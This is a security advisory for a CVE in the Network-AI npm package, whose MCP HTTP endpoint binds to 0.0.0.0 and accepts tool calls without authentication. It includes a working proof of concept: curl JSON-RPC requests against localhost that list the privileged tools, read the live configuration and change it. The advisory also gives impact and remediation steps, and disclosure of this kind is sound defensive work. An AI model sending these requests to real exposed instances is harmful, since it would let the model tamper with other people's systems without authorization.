CVE-2026-42856: Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls
Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI Field Value ------ Project Jovancoding/Network-AI Repository https://github.com/Jovancoding/Network-AI Affected commit c344f2053eb0d49395988f803bf92f2a86b2a0d0 Affected tested version 5.1.2 Vulnerability type CWE-306: Missing Authentication for Critical Function Severity High Authentication required None Default network…
Published May 5, 2026 · Updated May 13, 2026
Affected packages
network-ai
- Ecosystem
- npm
- Affected
- <= 5.1.2
- Fixed in
- 5.1.3
- Check
npm ls network-ai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI
| Field | Value | | Project | `Jovancoding/Network-AI` | | Repository | https://github.com/Jovancoding/Network-AI | | Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` | | Affected tested version | `5.1.2` | | Vulnerability type | CWE-306: Missing Authentication for Critical Function | | Severity | High | | Authentication required | None | | Default network exposure | Bind address `0.0.0.0` | | Reporter validation date | 2026-04-21 |
Summary
The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.
Affected Code
bin/mcp-server.ts:75— server binds to0.0.0.0by default.lib/mcp-transport-sse.ts:155—handleRPC()dispatchestools/calldirectly to the provider'scall(toolName, toolArgs).lib/mcp-transport-sse.ts:379—_handlePost()parses the JSON-RPC body and callsthis._bridge.handleRPC(rpc)with no auth check.lib/mcp-tools-control.ts:80—config_getexposes live runtime configuration.lib/mcp-tools-control.ts:197—agent_listexposes registered agents.lib/mcp-tools-control.ts:231—config_setmutates runtime configuration in place:this._config[key] = parsed.
Proof of Concept
The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.
Step 1 — list exposed tools (unauthenticated)
curl http://localhost:13001/toolsHTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:
config_get,config_set— read and mutate live orchestrator configurationagent_list,agent_spawn,agent_stop— enumerate, dispatch, and stop agentstoken_create,token_revoke— mint and revoke security tokensbudget_set_ceiling— adjust the global token budget ceilingfsm_transition— drive finite-state-machine transitionsblackboard_write,blackboard_delete— mutate the shared blackboard
Full transcript: evidence/01_get_tools.txt.
Step 2 — read live configuration (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "config_get",
"data": {
"blackboardPath": "./swarm-blackboard.md",
"maxParallelAgents": null,
"defaultTimeout": 30000,
"enableTracing": true,
"grantTokenTTL": 300000,
"maxBlackboardValueSize": 1048576,
"auditLogPath": "./data/audit_log.jsonl",
"trustConfigPath": "./data/trust_levels.json"
}
}Full transcript: evidence/02_config_get_before.txt.
Step 3 — mutate live configuration (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "config_set",
"data": {
"key": "defaultTimeout",
"previous": 30000,
"current": 12345,
"applied": true
}
}Full transcript: evidence/03_config_set.txt.
Step 4 — confirm mutation persisted (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'HTTP/1.1 200 OK — decoded inner JSON (relevant key only):
{
"ok": true,
"tool": "config_get",
"data": {
"defaultTimeout": 12345
}
}This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.
Step 5 — enumerate registered agents (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "agent_list",
"data": {
"agents": [],
"count": 0
}
}This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.
Cleanup — runtime state restored
After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.
Impact
- Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
- An attacker can change runtime configuration (e.g.,
defaultTimeout,enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings. - The default
0.0.0.0bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.
Suggested Remediation
- Enforce authentication inside
_handlePost()before reachinghandleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it. - Default the bind address to
127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured. - For tool-level defense in depth, gate state-mutating tools (
config_set,agent_spawn,agent_stop,token_create,token_revoke,budget_set_ceiling,fsm_transition,blackboard_write,blackboard_delete) behind an explicit authorization check tied to a verified caller identity.
Verification Environment
- Local Docker container only; no third-party deployment was tested.
- Local build required a minimal Dockerfile fix; the application code path under test was not modified.
- Runtime state (
defaultTimeout) was restored to default after the PoC.
Attached Evidence
Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.
| File | Purpose | |[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 — full `GET /tools` request and 22-tool inventory response | |[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 — full `config_get` request and live configuration response | |[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 — full `config_set` request mutating `defaultTimeout` | |[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 — full `config_get` request showing the mutation persisted | | [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 — full `agent_list` request and response |
Credited to 232-323, 2REBCat.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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